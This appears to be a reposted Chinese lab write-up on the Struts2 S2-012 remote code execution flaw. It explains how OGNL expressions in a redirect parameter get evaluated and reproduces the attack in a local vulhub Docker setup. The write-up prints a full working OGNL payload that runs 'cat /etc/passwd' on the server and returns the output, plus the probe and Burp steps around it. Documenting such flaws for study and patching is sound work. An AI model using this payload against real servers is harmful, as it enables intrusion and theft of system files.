栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

(s2-012) Struts2 远程代码执行

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

(s2-012) Struts2 远程代码执行

影响版本

2.1.0 - 2.3.13

漏洞原理

如果在配置result在action时使用了重定向类型,并且$ {PARAM_NAME}也被用作重定向变量,例如:


    
        /index.jsp?name=${name}
        /index.jsp
        /index.jsp
    

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

漏洞复现

打开漏洞环境:

cd /home/ch1/Desktop/vulhub-master/struts2/s2-012
docker-compose up -d
docker ps

访问:http://192.168.8.9:8080/

在重定向参数位置输入%{1+1},并抓包发送到repeater模块,点击发送:

看到被解析成了2,这也就造成了代码的执行。这样的话,只要传入S2-001中的poc就可以任意代码执行

poc如下:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

在重定向参数中重新输入:

也可以在burp中重发:


成功实现远程代码执行。
仅供学习!

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/671418.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号